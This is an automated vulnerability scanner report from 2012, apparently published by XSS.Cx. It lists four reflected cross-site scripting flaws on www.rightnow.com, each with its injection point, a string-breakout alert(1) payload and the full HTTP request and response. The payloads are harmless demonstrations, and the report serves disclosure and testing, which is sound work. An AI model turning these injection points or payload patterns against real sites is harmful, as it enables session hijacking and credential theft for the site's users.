Report generated by XSS.Cx at Wed Aug 08 11:26:52 EDT 2012.

XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, www.rightnow.com

Loading

1. Cross-site scripting (reflected)

1.1. http://www.rightnow.com/ [name of an arbitrarily supplied request parameter]

1.2. http://www.rightnow.com/favicon.ico [REST URL parameter 1]

1.3. http://www.rightnow.com/floatbox/floatbox.css [REST URL parameter 1]

1.4. http://www.rightnow.com/floatbox/floatbox.css [REST URL parameter 2]



1. Cross-site scripting (reflected)
There are 4 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organization. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organization which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organization in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://www.rightnow.com/ [name of an arbitrarily supplied request parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.rightnow.com
Path:   /

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 867f8'-alert(1)-'bdc0bdb9304 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /?867f8'-alert(1)-'bdc0bdb9304=1 HTTP/1.1
Host: www.rightnow.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.75 Safari/535.7
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Content-Length: 10


Response

HTTP/1.1 200 OK
Date: Sun, 08 Jan 2012 02:19:13 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Set-Cookie: PHPSESSID=j1dgjc0c573hqhjm37uombb0q1; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html; charset=UTF-8
Content-Length: 103937

...


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><!--
...[SNIP]...

jQuery.get('http://www.rightnow.com/includes/premium_integration.php',
{
c_id: existingRightNowContactID,
page_url: 'http://www.rightnow.com/?867f8'-alert(1)-'bdc0bdb9304=1',
isPremium: '0',
time: tsTimeStamp
});

}
if(includeOmniture != "no")
{
jQuery.ajaxSetup({async: false});
jQuery.
...[SNIP]...

1.2. http://www.rightnow.com/favicon.ico [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.rightnow.com
Path:   /favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload eb533'-alert(1)-'41aefd145d2 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /favicon.icoeb533'-alert(1)-'41aefd145d2 HTTP/1.1
Host: www.rightnow.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.75 Safari/535.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=2v11nguomgpafac2rmqvr2tgs5; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|27847E878501115D-6000010AE004CBD4[CE]
Content-Length: 10


Response

HTTP/1.1 404 Not Found
Date: Sun, 08 Jan 2012 02:20:30 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html; charset=UTF-8
Content-Length: 39509

...


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><!--
...[SNIP]...
jQuery.get('http://www.rightnow.com/includes/premium_integration.php',
{
c_id: existingRightNowContactID,
page_url: 'http://www.rightnow.com/favicon.icoeb533'-alert(1)-'41aefd145d2',
isPremium: '0',
time: tsTimeStamp
});

}
if(includeOmniture != "no")
{
jQuery.ajaxSetup({async: false});
jQuery.ge
...[SNIP]...

1.3. http://www.rightnow.com/floatbox/floatbox.css [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.rightnow.com
Path:   /floatbox/floatbox.css

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 777ee'-alert(1)-'218a69b2d35 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /floatbox777ee'-alert(1)-'218a69b2d35/floatbox.css HTTP/1.1
Host: www.rightnow.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.75 Safari/535.7
Accept: text/css,*/*;q=0.1
Referer: http://www.rightnow.com/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=2v11nguomgpafac2rmqvr2tgs5
Content-Length: 10


Response

HTTP/1.1 404 Not Found
Date: Sun, 08 Jan 2012 02:19:03 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html; charset=UTF-8
Content-Length: 39519

...


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><!--
...[SNIP]...
jQuery.get('http://www.rightnow.com/includes/premium_integration.php',
{
c_id: existingRightNowContactID,
page_url: 'http://www.rightnow.com/floatbox777ee'-alert(1)-'218a69b2d35/floatbox.css',
isPremium: '0',
time: tsTimeStamp
});

}
if(includeOmniture != "no")
{
jQuery.ajaxSetup({async: false});

...[SNIP]...

1.4. http://www.rightnow.com/floatbox/floatbox.css [REST URL parameter 2]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.rightnow.com
Path:   /floatbox/floatbox.css

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 4e7bf'-alert(1)-'3dd3114fe64 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /floatbox/floatbox.css4e7bf'-alert(1)-'3dd3114fe64 HTTP/1.1
Host: www.rightnow.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.75 Safari/535.7
Accept: text/css,*/*;q=0.1
Referer: http://www.rightnow.com/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=2v11nguomgpafac2rmqvr2tgs5
Content-Length: 10


Response

HTTP/1.1 404 Not Found
Date: Sun, 08 Jan 2012 02:19:05 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html; charset=UTF-8
Content-Length: 39519

...


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><!--
...[SNIP]...
get('http://www.rightnow.com/includes/premium_integration.php',
{
c_id: existingRightNowContactID,
page_url: 'http://www.rightnow.com/floatbox/floatbox.css4e7bf'-alert(1)-'3dd3114fe64',
isPremium: '0',
time: tsTimeStamp
});

}
if(includeOmniture != "no")
{
jQuery.ajaxSetup({async: false});
jQuery.ge
...[SNIP]...

Report generated by XSS.Cx at Wed Aug 08 11:26:52 EDT 2012.